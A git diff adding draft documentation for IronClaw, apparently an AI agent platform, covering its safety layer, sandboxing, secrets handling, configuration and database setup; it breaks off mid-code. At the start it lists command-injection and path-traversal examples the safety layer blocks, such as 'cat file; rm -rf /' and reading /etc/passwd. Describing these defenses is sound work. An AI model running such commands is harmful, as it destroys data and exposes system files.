+cat file; rm -rf / + +# BLOCKED: Subshell +echo $(cat /etc/passwd) + +# BLOCKED: Path traversal +cat ../../../etc/passwd +``` + +## Configuration + +Safety settings are configured via environment variables: + +```bash +# Enable/disable safety layer +export SAFETY_ENABLED=true + +# Configure severity thresholds +export SAFETY_SEVERITY_THRESHOLD=medium +``` + +## Integration + +The Safety Layer runs automatically: + +1. **Input validation** — Before processing user input +2. **Tool output scanning** — Before sending to LLM +3. **LLM response scanning** — Before displaying to user + +## Troubleshooting + + + + - Check policy severity threshold + - Review sanitizer rules + - Consider whitelisting specific patterns + + + + - Pattern may not be in default list + - Add custom pattern via configuration + - Check leak detector is enabled + + + + - Safety layer adds minimal overhead + - Most checks are O(n) on content size + - Disable specific checks if needed + + + +## Next Steps + + + + Encryption and credential management + + + + WASM and Docker isolation + + diff --git a/docs/drafts/security/sandbox.mdx b/docs/drafts/security/sandbox.mdx new file mode 100644 index 0000000000..3d679fc7ae --- /dev/null +++ b/docs/drafts/security/sandbox.mdx @@ -0,0 +1,230 @@ +--- +title: Sandbox +sidebarTitle: Sandbox +description: WASM and Docker sandbox isolation +--- + +IronClaw uses two sandbox layers for tool execution: WASM sandbox for tools, and Docker sandbox for jobs. + +## Two Sandboxes + +| Sandbox | Use Case | Isolation | +|---------|----------|-----------| +| **WASM** | Tool execution | Memory limits, fuel metering | +| **Docker** | Job execution | Container isolation, network proxy | + +## WASM Sandbox + +Tools run in a WebAssembly sandbox using wasmtime. + +### Features + +- **Memory limits** — Configurable max memory per tool +- **Fuel metering** — Prevents infinite loops +- **No filesystem access** — Unless explicitly allowed +- **No network access** — Unless allowlisted + +### Configuration + +```bash +# Enable WASM sandbox +export WASM_SANDBOX_ENABLED=true + +# Memory limit (bytes) +export WASM_MEMORY_LIMIT=16777216 # 16 MB + +# Fuel limit (wasm instructions) +export WASM_FUEL_LIMIT=100000000 +``` + +### Capabilities + +Tools declare capabilities in `capabilities.json`: + +```json +{ + "network": { + "allowed_hosts": ["api.example.com"] + }, + "filesystem": { + "read": ["/workspace/*"], + "write": ["/workspace/*"] + } +} +``` + +## Docker Sandbox + +Jobs run in isolated Docker containers. + +### Container Features + +- **Non-root user** — UID 1000 +- **Read-only rootfs** — Immutable base image +- **Dropped capabilities** — Minimal privileges +- **Network proxy** — Controlled outbound access +- **Resource limits** — Memory, CPU, timeouts + +### Policies + +| Policy | Filesystem | Network | Use Case | +|--------|-----------|---------|----------| +| **ReadOnly** | Read-only workspace | Allowlist only | Analysis, review | +| **WorkspaceWrite** | Read-write workspace | Allowlist only | Code generation | +| **FullAccess** | Full filesystem | Unrestricted | Admin tasks (rare) | + +### Configuration + +```bash +# Enable sandbox +export SANDBOX_ENABLED=true + +# Set policy +export SANDBOX_POLICY=workspace_write # readonly, workspace_write, full_access + +# Resource limits +export SANDBOX_MEMORY_LIMIT_MB=2048 +export SANDBOX_CPU_SHARES=1024 +export SANDBOX_TIMEOUT_SECS=120 + +# Docker image +export SANDBOX_IMAGE=ironclaw-worker:latest +``` + +## Network Proxy + +All container traffic routes through a host-side proxy: + +### Domain Allowlist + +Only allowlisted domains are reachable: + +``` +api.github.com +crates.io +registry.npmjs.org +pypi.org +... +``` + +Add custom domains: + +```bash +export SANDBOX_EXTRA_DOMAINS="api.example.com,api2.example.com" +``` + +### Credential Injection + +Secrets are injected into HTTP requests at the proxy: + +1. Container makes HTTP request +2. Proxy intercepts request +3. Proxy adds authorization header +4. Container never sees raw credential + + + Network Proxy Credential Injection + + + + [Download the Excalidraw file](/assets/sandbox-network-proxy.excalidraw) to explore or edit this diagram. + + +## Zero-Exposure Credential Model + +Secrets never enter the container environment: + +| Approach | Risk | +|----------|------| +| **Environment variables** | Container can dump env | +| **Volume mounts** | Container can read files | +| **Proxy injection** | ✅ Container never sees secret | + +## Container Hardening + +Security features enabled by default: + +```dockerfile +# Non-root user +USER 1000 + +# Read-only root filesystem +--read-only + +# Drop all capabilities +--cap-drop=ALL + +# No new privileges +--security-opt=no-new-privileges:true + +# Seccomp profile +--security-opt=seccomp=default.json +``` + +## Docker-in-Docker + +IronClaw can run inside Docker and still sandbox jobs: + +```bash +# Mount Docker socket +docker run ... \ + -v /var/run/docker.sock:/var/run/docker.sock \ + ... +``` + +Containers are siblings, not children. + +## Troubleshooting + + + + - Install Docker: https://docs.docker.com/get-docker + - Check Docker daemon: `sudo systemctl status docker` + - Add user to docker group: `sudo usermod -aG docker $USER` + + + + - Job exceeded `SANDBOX_TIMEOUT_SECS` + - Increase timeout for long-running tasks + - Check for infinite loops + + + + - Container exceeded `SANDBOX_MEMORY_LIMIT_MB` + - Increase memory limit + - Optimize job memory usage + + + + - Domain not in allowlist + - Add to `SANDBOX_EXTRA_DOMAINS` + - Check proxy logs + + + +## Important Distinction + + +**IronClaw runs alongside Docker** (for job sandboxing), not inside Docker by default. + +- **Default**: IronClaw binary → spawns containers for jobs +- **Optional**: IronClaw inside container → still spawns sibling containers + + +See [Docker Install](/install/docker) for running IronClaw itself in a container. + +## Next Steps + + + + Prompt injection defense + + + + Encryption and credential management + + + + Building and deploying WASM tools with sandbox constraints + + diff --git a/docs/drafts/security/secrets.mdx b/docs/drafts/security/secrets.mdx new file mode 100644 index 0000000000..ba5aa112df --- /dev/null +++ b/docs/drafts/security/secrets.mdx @@ -0,0 +1,231 @@ +--- +title: Secrets Management +sidebarTitle: Secrets +description: Encrypted credential storage and zero-exposure model +--- + +IronClaw uses a zero-exposure credential model: secrets are encrypted at rest and never exposed to untrusted code. + +## Overview + + + Secrets Management Diagram + + + + [Download the Excalidraw file](/assets/secrets-overview.excalidraw) to explore or edit this diagram. + + + + Secrets Encryption Flow + + + + [Download the Excalidraw file](/assets/secrets-encryption-flow.excalidraw) to explore or edit this diagram. + + +## Zero-Exposure Model + +Secrets follow a strict lifecycle: + +1. **Stored encrypted** — AES-256-GCM in database +2. **Master key in keychain** — OS-managed, hardware-backed +3. **Injected at proxy boundary** — HTTP requests only +4. **Containers never see raw values** — Safe even if compromised + + + Zero-Exposure Credential Model + + + + [Download the Excalidraw file](/assets/secrets-zero-exposure.excalidraw) to explore or edit this diagram. + + +## Encryption + +### Algorithm: AES-256-GCM + +- **Key size**: 256 bits +- **Mode**: GCM (Galois/Counter Mode) +- **Authentication**: Built-in AEAD + +### Key Hierarchy + +```shell +Master Key (from OS keychain) + │ + ├──► SecretsCrypto + │ │ + │ └──► Encrypt/Decrypt secrets + │ + └──► Derived per-secret keys +``` + +## Master Key Sources + +The master key can come from three sources: + +| Source | Security | Convenience | +|--------|----------|-------------| +| **OS Keychain** | ★★★★★ | ★★★☆☆ | +| **Environment Variable** | ★★★☆☆ | ★★★★★ | +| **Skip** | ★☆☆☆☆ | ★★★★★ | + +### OS Keychain (Recommended) + +- **macOS**: Keychain Access +- **Linux**: GNOME Keyring or KWallet +- **Windows**: Windows Credential Store + +```bash +# Generated and stored automatically +# Two system dialogs on first use (normal) +``` + +### Environment Variable + +```bash +export SECRETS_MASTER_KEY="32-byte-hex-encoded-key" + +# Generate a key +openssl rand -hex 32 +``` + +## Secret Storage + +Secrets are stored in the `secrets` database table: + +| Column | Type | Description | +|--------|------|-------------| +| `user_id` | TEXT | Owner | +| `name` | TEXT | Secret identifier | +| `value` | BLOB | Encrypted value | +| `created_at` | TIMESTAMP | Creation time | +| `updated_at` | TIMESTAMP | Last update | + +## Managing Secrets + +### Via Wizard + +Secrets are configured during onboarding: + +```bash +ironclaw onboard +``` + +### Via CLI + +```bash +# List secrets +ironclaw secret list + +# Get a secret (decrypted) +ironclaw secret get telegram_bot_token + +# Set a secret +ironclaw secret set telegram_bot_token "your-token" + +# Delete a secret +ironclaw secret delete telegram_bot_token +``` + +### Environment Variables + +Some secrets can be set via env vars: + +```bash +export TELEGRAM_BOT_TOKEN="your-token" +export ANTHROPIC_API_KEY="sk-ant-..." +export OPENAI_API_KEY="sk-..." +``` + +## Secret Names + +Common secret names used by IronClaw: + +| Name | Used By | Source | +|------|---------|--------| +| `telegram_bot_token` | Telegram channel | @BotFather | +| `telegram_webhook_secret` | Telegram channel | Generated | +| `llm_openai_api_key` | OpenAI provider | platform.openai.com | +| `llm_anthropic_api_key` | Anthropic provider | console.anthropic.com | +| `llm_compatible_api_key` | OpenAI-compatible | Provider | +| `llm_nearai_api_key` | NEAR AI Cloud | cloud.near.ai | + +## Platform Notes + +### macOS + +Two system dialogs on first keychain access: +1. "Enter your password to unlock the keychain" +2. "Allow ironclaw to access this keychain item" + +Click "Always Allow" to minimize prompts. + +### Linux + +Requires `gnome-keyring`: + +```bash +# Ubuntu/Debian +sudo apt install gnome-keyring + +# Fedora +sudo dnf install gnome-keyring + +# Arch +sudo pacman -S gnome-keyring +``` + +### Windows + +Uses Windows Data Protection API (DPAPI). No additional setup required. + +## Security Best Practices + +1. **Use OS keychain** when possible +2. **Generate strong master keys** if using env var mode +3. **Rotate secrets regularly** +4. **Audit secret access** via logs +5. **Never commit secrets** to version control + +## Troubleshooting + + + + On macOS, click "Always Allow" on the keychain dialog. This is expected OS behavior. + + + + Install `gnome-keyring`: + ```bash + sudo apt install gnome-keyring + ``` + + Or use environment variable mode in Step 2. + + + + - Check secret name spelling + - Verify secret was saved during onboarding + - Re-run `ironclaw onboard` to reconfigure + + + + - Master key may have changed + - Database may be corrupted + - Try restoring from backup + + + +## Next Steps + + + + Prompt injection defense + + + + WASM and Docker isolation + + diff --git a/docs/drafts/setup/configuration.mdx b/docs/drafts/setup/configuration.mdx new file mode 100644 index 0000000000..8c86049a78 --- /dev/null +++ b/docs/drafts/setup/configuration.mdx @@ -0,0 +1,352 @@ +--- +title: Configuration +sidebarTitle: Configuration +description: Complete environment variable reference for IronClaw +--- + +IronClaw is configured primarily through environment variables. This page documents all available configuration options. + +## Two-Layer Configuration + +IronClaw uses a two-layer configuration system: + + + + Contains settings needed **before** database connection: + + - `DATABASE_BACKEND` — Which database to use + - `DATABASE_URL` — PostgreSQL connection string + - `LIBSQL_PATH` — libSQL database file path + - `LLM_BACKEND` — Which LLM provider to use + - `NEARAI_API_KEY` — NEAR AI Cloud API key (if using that mode) + + Written automatically by the onboarding wizard. + + + + All other settings are stored in the database and loaded at runtime: + + - Channel configuration + - Model selection + - Embeddings settings + - Skills configuration + - Heartbeat settings + + Managed through the wizard or `ironclaw config` command. + + + +## Configuration Categories + + + + AGENT_NAME, MAX_PARALLEL_JOBS, timeouts, cost limits + + + + DATABASE_BACKEND, DATABASE_URL, LIBSQL_PATH + + + + NEARAI_*, ANTHROPIC_*, OPENAI_*, OLLAMA_* + + + + GATEWAY_*, HTTP_*, TELEGRAM_*, SIGNAL_* + + + + EMBEDDING_*, OPENAI_API_KEY + + + + SANDBOX_*, CLAUDE_CODE_* + + + + SKILLS_*, catalog URL, auto-discovery + + + + SECRETS_MASTER_KEY, IRONCLAW_BASE_DIR + + + +## Agent Settings + +| Variable | Type | Default | Description | +|----------|------|---------|-------------| +| `AGENT_NAME` | string | `ironclaw` | Agent name displayed in responses | +| `AGENT_MAX_PARALLEL_JOBS` | int | `5` | Maximum concurrent jobs | +| `AGENT_JOB_TIMEOUT_SECS` | int | `300` | Job timeout in seconds | +| `AGENT_STUCK_THRESHOLD_SECS` | int | `60` | Time before job considered stuck | +| `SELF_REPAIR_CHECK_INTERVAL_SECS` | int | `30` | Self-repair check frequency | +| `SELF_REPAIR_MAX_ATTEMPTS` | int | `3` | Max repair attempts per job | +| `AGENT_USE_PLANNING` | bool | `true` | Enable planning before tool execution | +| `SESSION_IDLE_TIMEOUT_SECS` | int | `3600` | Session idle timeout | +| `ALLOW_LOCAL_TOOLS` | bool | `false` | Allow filesystem/shell tools directly | +| `MAX_COST_PER_DAY_CENTS` | int | — | Daily spend limit (cents, e.g., 10000 = $100) | +| `MAX_ACTIONS_PER_HOUR` | int | — | Hourly action limit | +| `AGENT_MAX_TOOL_ITERATIONS` | int | `50` | Max tool calls per loop | +| `AGENT_AUTO_APPROVE_TOOLS` | bool | `false` | Skip tool approval (for benchmarks) | + +## Database + +| Variable | Type | Default | Description | +|----------|------|---------|-------------| +| `DATABASE_BACKEND` | enum | `postgres` | Backend: `postgres` or `libsql` | +| `DATABASE_URL` | string | — | PostgreSQL connection URL | +| `DATABASE_POOL_SIZE` | int | `10` | Connection pool size | +| `DATABASE_SSLMODE` | enum | `prefer` | TLS mode: `disable`, `prefer`, `require` | +| `LIBSQL_PATH` | path | `~/.ironclaw/ironclaw.db` | libSQL database file | +| `LIBSQL_URL` | URL | — | Turso cloud sync URL | +| `LIBSQL_AUTH_TOKEN` | string | — | Turso auth token | + +### PostgreSQL Example + +```bash +export DATABASE_BACKEND=postgres +export DATABASE_URL="postgres://user:pass@localhost/ironclaw" +export DATABASE_SSLMODE=require +``` + +### libSQL Example + +```bash +export DATABASE_BACKEND=libsql +export LIBSQL_PATH="/home/user/.ironclaw/ironclaw.db" +``` + +### Turso Example + +```bash +export DATABASE_BACKEND=libsql +export LIBSQL_PATH="/home/user/.ironclaw/ironclaw.db" +export LIBSQL_URL="libsql://your-db.turso.io" +export LIBSQL_AUTH_TOKEN="your-auth-token" +``` + +## LLM / Inference + +### NEAR AI + +| Variable | Type | Default | Description | +|----------|------|---------|-------------| +| `NEARAI_BASE_URL` | URL | `https://private.near.ai` | NEAR AI Chat API base URL | +| `NEARAI_SESSION_TOKEN` | string | — | Session token for OAuth mode | +| `NEARAI_API_KEY` | string | — | API key for Cloud mode | +| `NEARAI_MODEL` | string | — | Default model (e.g., `claude-sonnet-4-20250514`) | +| `NEARAI_CHEAP_MODEL` | string | — | Cheaper model for simple tasks | +| `NEARAI_FALLBACK_MODEL` | string | — | Fallback if primary fails | + +### Anthropic + +| Variable | Type | Default | Description | +|----------|------|---------|-------------| +| `ANTHROPIC_API_KEY` | string | — | API key from console.anthropic.com | +| `ANTHROPIC_BASE_URL` | URL | — | Custom base URL (optional) | + +### OpenAI + +| Variable | Type | Default | Description | +|----------|------|---------|-------------| +| `OPENAI_API_KEY` | string | — | API key from platform.openai.com | +| `OPENAI_BASE_URL` | URL | — | Custom base URL (optional) | + +### Ollama + +| Variable | Type | Default | Description | +|----------|------|---------|-------------| +| `OLLAMA_BASE_URL` | URL | `http://localhost:11434` | Ollama server URL | + +### OpenAI-Compatible + +| Variable | Type | Default | Description | +|----------|------|---------|-------------| +| `LLM_BACKEND` | string | — | Set to `openai_compatible` | +| `LLM_BASE_URL` | URL | — | API endpoint (e.g., `https://api.openrouter.ai`) | +| `LLM_API_KEY` | string | — | API key | +| `LLM_EXTRA_HEADERS` | string | — | Extra headers (format: `Key:Value,Key2:Value2`) | + +### Tinfoil + +| Variable | Type | Default | Description | +|----------|------|---------|-------------| +| `TINFOIL_API_KEY` | string | — | Tinfoil API key | +| `TINFOIL_MODEL` | string | `kimi-k2-5` | Model to use | + +## Channels + +### Web Gateway + +| Variable | Type | Default | Description | +|----------|------|---------|-------------| +| `GATEWAY_ENABLED` | bool | `true` | Enable web UI | +| `GATEWAY_HOST` | string | `127.0.0.1` | Bind host (`0.0.0.0` for LAN) | +| `GATEWAY_PORT` | int | `3000` | Port number | +| `GATEWAY_AUTH_TOKEN` | string | random | Bearer token for auth | +| `GATEWAY_USER_ID` | string | `default` | Default user ID | + +### HTTP Webhook + +| Variable | Type | Default | Description | +|----------|------|---------|-------------| +| `HTTP_HOST` | string | `0.0.0.0` | Bind host | +| `HTTP_PORT` | int | `8080` | Port number | +| `HTTP_WEBHOOK_SECRET` | string | — | Shared secret for validation | +| `HTTP_USER_ID` | string | `http` | Default user ID | + + +The HTTP webhook binds to `0.0.0.0:8080` by default. If you don't need external webhook delivery, set `HTTP_HOST=127.0.0.1`. + + +### Terminal UI + +| Variable | Type | Default | Description | +|----------|------|---------|-------------| +| `CLI_ENABLED` | bool | `true` | Enable TUI on startup | + +### WASM Channels + +| Variable | Type | Default | Description | +|----------|------|---------|-------------| +| `WASM_CHANNELS_ENABLED` | bool | `true` | Enable WASM channels | +| `WASM_CHANNELS_DIR` | path | `~/.ironclaw/channels` | Channel modules directory | +| `TELEGRAM_OWNER_ID` | int | — | Telegram owner user ID (legacy) | + +### Signal + +| Variable | Type | Default | Description | +|----------|------|---------|-------------| +| `SIGNAL_HTTP_URL` | URL | — | signal-cli daemon URL | +| `SIGNAL_ACCOUNT` | string | — | Phone number (+1234567890) | +| `SIGNAL_ALLOW_FROM` | list | — | Allowed senders (comma-separated) | +| `SIGNAL_ALLOW_FROM_GROUPS` | list | — | Allowed groups | +| `SIGNAL_DM_POLICY` | enum | `pairing` | DM policy: `open`, `allowlist`, `pairing` | +| `SIGNAL_GROUP_POLICY` | enum | `allowlist` | Group policy: `allowlist`, `open`, `disabled` | +| `SIGNAL_IGNORE_ATTACHMENTS` | bool | `false` | Skip attachment-only messages | +| `SIGNAL_IGNORE_STORIES` | bool | `true` | Skip story messages | + +## Embeddings + +| Variable | Type | Default | Description | +|----------|------|---------|-------------| +| `EMBEDDING_ENABLED` | bool | `true` | Enable semantic search | +| `EMBEDDING_PROVIDER` | enum | `openai` | Provider: `openai` or `nearai` | +| `EMBEDDING_MODEL` | string | `text-embedding-3-small` | Embedding model | +| `OPENAI_API_KEY` | string | — | Required if using OpenAI embeddings | + +## Sandbox + +| Variable | Type | Default | Description | +|----------|------|---------|-------------| +| `SANDBOX_ENABLED` | bool | `true` | Enable Docker sandbox | +| `SANDBOX_POLICY` | enum | `readonly` | Policy: `readonly`, `workspace_write`, `full_access` | +| `SANDBOX_TIMEOUT_SECS` | int | `120` | Command timeout | +| `SANDBOX_MEMORY_LIMIT_MB` | int | `2048` | Memory limit per container | +| `SANDBOX_CPU_SHARES` | int | `1024` | CPU shares (relative weight) | +| `SANDBOX_IMAGE` | string | `ironclaw-worker:latest` | Docker image | +| `SANDBOX_AUTO_PULL` | bool | `true` | Auto-pull missing images | +| `SANDBOX_EXTRA_DOMAINS` | list | — | Additional allowed domains | + +## Claude Code + +| Variable | Type | Default | Description | +|----------|------|---------|-------------| +| `CLAUDE_CODE_ENABLED` | bool | `false` | Enable Claude Code mode | +| `CLAUDE_CONFIG_DIR` | path | `~/.claude` | Claude config directory | +| `CLAUDE_CODE_MODEL` | string | `sonnet` | Claude model | +| `CLAUDE_CODE_MAX_TURNS` | int | `50` | Max agentic turns | +| `CLAUDE_CODE_MEMORY_LIMIT_MB` | int | `4096` | Container memory limit | +| `CLAUDE_CODE_ALLOWED_TOOLS` | list | — | Allowed tool patterns | + +## Skills + +| Variable | Type | Default | Description | +|----------|------|---------|-------------| +| `SKILLS_ENABLED` | bool | `true` | Enable skills system | +| `SKILLS_MAX_TOKENS` | int | `4000` | Max prompt budget | +| `SKILLS_CATALOG_URL` | URL | `https://clawhub.dev` | ClawHub registry URL | +| `SKILLS_AUTO_DISCOVER` | bool | `true` | Auto-scan skill directories | + +## Heartbeat + +| Variable | Type | Default | Description | +|----------|------|---------|-------------| +| `HEARTBEAT_ENABLED` | bool | `false` | Enable periodic execution | +| `HEARTBEAT_INTERVAL_SECS` | int | `1800` | Interval in seconds (30 min) | +| `HEARTBEAT_NOTIFY_CHANNEL` | string | `tui` | Notification channel | +| `HEARTBEAT_NOTIFY_USER` | string | `default` | Notify user ID | + +## Routines + +| Variable | Type | Default | Description | +|----------|------|---------|-------------| +| `ROUTINES_ENABLED` | bool | `true` | Enable scheduled/reactive tasks | +| `ROUTINES_CRON_INTERVAL` | int | `60` | Cron tick interval (seconds) | +| `ROUTINES_MAX_CONCURRENT` | int | `3` | Max concurrent routines | + +## Security + +| Variable | Type | Default | Description | +|----------|------|---------|-------------| +| `SECRETS_MASTER_KEY` | string | — | Master key for encryption (env var mode) | +| `IRONCLAW_BASE_DIR` | path | `~/.ironclaw` | Data directory | +| `IRONCLAW_OAUTH_CALLBACK_URL` | URL | `http://127.0.0.1:9876` | OAuth callback URL | + +## Environment File Example + +Create `~/.ironclaw/.env`: + +```bash +# Database +DATABASE_BACKEND=libsql +LIBSQL_PATH=/home/user/.ironclaw/ironclaw.db + +# LLM (NEAR AI) +LLM_BACKEND=nearai + +# Web Gateway +GATEWAY_ENABLED=true +GATEWAY_HOST=127.0.0.1 +GATEWAY_PORT=3000 + +# Optional: Persistent auth token +GATEWAY_AUTH_TOKEN=your-secure-token-here + +# Sandbox +SANDBOX_ENABLED=true +SANDBOX_POLICY=workspace_write + +# Heartbeat +HEARTBEAT_ENABLED=true +HEARTBEAT_INTERVAL_SECS=1800 +``` + +## Configuration Commands + +```bash +# View current config +ironclaw config list + +# Get specific value +ironclaw config get llm.backend + +# Set value +ironclaw config set llm.backend nearai + +# Delete value (reset to default) +ironclaw config delete llm.backend +``` + +## Next Steps + + + + PostgreSQL vs libSQL comparison + + + + Provider-specific configuration + + diff --git a/docs/drafts/setup/database.mdx b/docs/drafts/setup/database.mdx new file mode 100644 index 0000000000..da1a79c800 --- /dev/null +++ b/docs/drafts/setup/database.mdx @@ -0,0 +1,271 @@ +--- +title: Database Backends +description: PostgreSQL vs libSQL — choosing your database +--- + +IronClaw supports two database backends: **PostgreSQL** and **libSQL** (embedded SQLite). Choose based on your deployment needs. + +## Quick Comparison + +| Feature | PostgreSQL | libSQL | +|---------|------------|--------| +| **Setup** | Requires PostgreSQL server | Zero-dependency, auto-created | +| **Best For** | Production, multi-user | Personal use, single-user | +| **Search** | Hybrid (FTS + vector) | FTS only (vector via Turso) | +| **Scaling** | Horizontal (read replicas) | Single node | +| **Backup** | pg_dump, replication | File copy, Turso sync | +| **Size** | 100MB+ installed | ~5MB binary | + +## PostgreSQL + +Recommended for production deployments, multi-user scenarios, and high-throughput use cases. + +### Requirements + +- PostgreSQL 15 or later +- pgvector extension for embeddings + +### Installation + +```bash +# Ubuntu/Debian +sudo apt install postgresql-15 postgresql-15-pgvector + +# macOS (Homebrew) +brew install postgresql +brew install pgvector + +# Start PostgreSQL +sudo systemctl enable --now postgresql # Linux +brew services start postgresql # macOS +``` + +### Configuration + +```bash +# Create database +sudo -u postgres psql -c "CREATE DATABASE ironclaw;" +sudo -u postgres psql -c "CREATE USER ironclaw WITH PASSWORD 'your-password';" +sudo -u postgres psql -c "GRANT ALL PRIVILEGES ON DATABASE ironclaw TO ironclaw;" + +# Enable pgvector +sudo -u postgres psql -d ironclaw -c "CREATE EXTENSION IF NOT EXISTS vector;" +``` + +### IronClaw Configuration + +```bash +export DATABASE_BACKEND=postgres +export DATABASE_URL="postgres://ironclaw:your-password@localhost/ironclaw" +``` + +Or in the wizard: +1. Select "PostgreSQL" +2. Enter connection string +3. Test connection + +### SSL Modes + +| Mode | Behavior | Use Case | +|------|----------|----------| +| `disable` | Never use TLS | Local development | +| `prefer` | Try TLS, fallback to plaintext | **Default** — works everywhere | +| `require` | Require TLS | Production with TLS | + +```bash +export DATABASE_SSLMODE=require +``` + +## libSQL + +Recommended for personal use, development, and single-user deployments. Zero setup required. + +### How It Works + +libSQL is an embedded SQLite-compatible database: +- Database is a single file (`~/.ironclaw/ironclaw.db`) +- No separate server process +- Auto-created on first connection +- Full SQLite feature set + +### IronClaw Configuration + +```bash +export DATABASE_BACKEND=libsql +export LIBSQL_PATH="/home/user/.ironclaw/ironclaw.db" +``` + +Or just use the wizard defaults: +1. Select "libSQL" +2. Accept default path +3. Done! + +### Turso Cloud Sync + +libSQL supports syncing to Turso for cloud backup: + +```bash +export DATABASE_BACKEND=libsql +export LIBSQL_PATH="/home/user/.ironclaw/ironclaw.db" +export LIBSQL_URL="libsql://your-db.turso.io" +export LIBSQL_AUTH_TOKEN="your-auth-token" +``` + +This keeps a local copy with automatic cloud sync. + +## Feature Comparison + +### Hybrid Search + +**PostgreSQL:** Full hybrid search (FTS + vector via RRF) +``` +Keyword matches + semantic similarity +Reciprocal Rank Fusion ranking +``` + +**libSQL:** FTS only (text search) +``` +Keyword matching via FTS5 +Vector search via Turso cloud only +``` + +### Embeddings + +Both backends support embeddings, but with different implementations: + +| Backend | Embeddings | Notes | +|---------|------------|-------| +| PostgreSQL | Yes | pgvector for vector storage | +| libSQL local | FTS only | No local vector storage | +| libSQL + Turso | Yes | Via Turso vector indexes | + + +**Encryption at rest:** The local SQLite database stores conversation and workspace data in plaintext. Only secrets (API tokens) are encrypted with AES-256-GCM. If you handle sensitive data, use full-disk encryption (FileVault, LUKS, BitLocker) or choose PostgreSQL with TDE. + + +## Migration + +### From libSQL to PostgreSQL + +1. **Export from libSQL:** + ```bash + sqlite3 ~/.ironclaw/ironclaw.db ".dump" > ironclaw.sql + ``` + +2. **Import to PostgreSQL:** + ```bash + psql -d ironclaw -f ironclaw.sql + ``` + +3. **Update IronClaw config:** + ```bash + export DATABASE_BACKEND=postgres + export DATABASE_URL="postgres://user:pass@localhost/ironclaw" + ``` + +4. **Restart IronClaw** + +### From PostgreSQL to libSQL + +1. **Export:** + ```bash + pg_dump -h localhost -U ironclaw ironclaw > ironclaw.sql + ``` + +2. **Convert and import to SQLite** (requires conversion tools) + +3. **Update IronClaw config** + +## When to Choose Which + +### Choose libSQL if: + +- Running IronClaw on a personal laptop/desktop +- Single-user deployment +- Want zero database administration +- Don't need horizontal scaling +- FTS-only search is sufficient + +### Choose PostgreSQL if: + +- Production multi-user deployment +- Need hybrid (FTS + vector) search locally +- High-throughput scenario +- Existing PostgreSQL infrastructure +- Require advanced backup/recovery +- Team or shared deployment + +## Backup + +### PostgreSQL + +```bash +# Backup +pg_dump -h localhost -U ironclaw ironclaw > backup.sql + +# Restore +psql -d ironclaw -f backup.sql +``` + +### libSQL + +```bash +# Backup (simple file copy) +cp ~/.ironclaw/ironclaw.db ~/.ironclaw/ironclaw.db.backup + +# Restore +cp ~/.ironclaw/ironclaw.db.backup ~/.ironclaw/ironclaw.db + +# With Turso: automatic cloud backup +``` + +## Troubleshooting + + + + ```bash + # Install pgvector + sudo apt install postgresql-15-pgvector + + # Or compile manually + git clone https://github.com/pgvector/pgvector.git + cd pgvector + make + sudo make install + ``` + + + + ```bash + # Find and kill process + lsof ~/.ironclaw/ironclaw.db + kill -9 + + # Or wait for it to release + ``` + + + + ```bash + # Check PostgreSQL is running + sudo systemctl status postgresql + + # Check listen addresses + sudo -u postgres psql -c "SHOW listen_addresses;" + + # Should be '*' or 'localhost' + ``` + + + +## Next Steps + + + + Full environment variable reference + + + + Production deployment guide with PostgreSQL + + diff --git a/docs/smart-routing-spec.md b/docs/drafts/smart-routing-spec.md similarity index 100% rename from docs/smart-routing-spec.md rename to docs/drafts/smart-routing-spec.md diff --git a/docs/drafts/solutions/integration-issues/playwright-screenshot-pipeline.md b/docs/drafts/solutions/integration-issues/playwright-screenshot-pipeline.md new file mode 100644 index 0000000000..fb99f8f688 --- /dev/null +++ b/docs/drafts/solutions/integration-issues/playwright-screenshot-pipeline.md @@ -0,0 +1,262 @@ +--- +title: "Playwright Screenshot Pipeline for IronClaw Web UI" +description: "Auto-detecting screenshot capture pipeline with token-based authentication for documentation generation" +category: integration-issues +date: 2026-03-04 +author: Claude Code +status: solved +components: + - docs/tests/ + - docs/scripts/ + - docs/assets/screenshots/ +symptoms: + - Blank screenshots due to authentication failures + - Environment variables not passed to Playwright tests + - Client-side routes returning 404 when accessed directly + - Malformed URLs with token in wrong position +root_causes: + - pnpm scripts don't automatically load .env files + - IronClaw web UI uses client-side routing (SPA) + - Token must be passed in URL query parameter for auto-authentication + - URL construction was appending paths after query parameters +--- + +## Problem + +Build a screenshot capture pipeline for IronClaw documentation that: +1. Auto-detects running IronClaw instances +2. Captures screenshots of the web gateway UI (6 different views) +3. Passes authentication tokens correctly for automatic login +4. Generates Mintlify documentation from captured screenshots + +### Symptoms Observed + +- Screenshots were blank (22KB, indicating no content) +- Tests failed waiting for `#app` element to be visible (authentication never completed) +- Direct navigation to `/routines`, `/skills`, etc. returned 404 +- URLs were malformed as `/?token=TOKEN/skills` instead of `/skills?token=TOKEN` + +## Investigation Steps + +### Step 1: Diagnose Authentication Flow + +**Tried:** Check if token was being passed correctly +**Result:** Found that `.env.screenshot` wasn't being loaded by pnpm scripts +**Learning:** pnpm doesn't automatically source .env files like some other tools + +```bash +# Tests passed when token was set explicitly: +IRONCLAW_TOKEN="..." pnpm exec playwright test +``` + +### Step 2: Fix URL Construction + +**Tried:** Append paths directly to tokenized URLs +**Result:** Created malformed URLs: `/?token=TOKEN/settings` +**Solution:** Modify `getIronClawUrlWithToken()` to accept optional path parameter + +```typescript +// Before: Malformed URL +`${baseUrl}${separator}?token=${token}/settings` + +// After: Correct URL construction +const normalizedPath = path.startsWith('/') ? path : `/${path}`; +url = baseUrl.endsWith('/') ? baseUrl.slice(0, -1) : baseUrl; +return `${url}${normalizedPath}?token=${token}`; +``` + +### Step 3: Handle Client-Side Routing + +**Tried:** Navigate directly to `/routines?token=TOKEN` +**Result:** 404 - these are client-side routes only +**Solution:** Navigate to root first, authenticate, then click tab buttons + +```typescript +// Correct approach for SPA routes +await page.goto(await getIronClawUrlWithToken('/')); +await page.waitForSelector('#app', { state: 'visible' }); +await page.click('button[data-tab="routines"]'); +``` + +### Step 4: Fix Environment Variable Loading + +**Tried:** Source .env.screenshot in capture script +**Result:** Variables available in script but not exported to child processes +**Solution:** Export variables explicitly and load in package.json script + +```json +{ + "screenshots": "export $(grep -v '^#' .env.screenshot | xargs) && cd tests && pnpm exec playwright test" +} +``` + +## Working Solution + +### 1. Environment Configuration (docs/.env.screenshot) + +```bash +# Authentication token for API calls +IRONCLAW_TOKEN=your-token-here +IRONCLAW_URL=http://127.0.0.1:3000 +``` + +### 2. Token Helper Function (docs/tests/fixtures/seed.ts) + +```typescript +export async function getIronClawUrlWithToken(path?: string): Promise { + const baseUrl = await getBaseUrl(); + const token = process.env.IRONCLAW_TOKEN ?? 'screenshot-test-token'; + + let url = baseUrl; + if 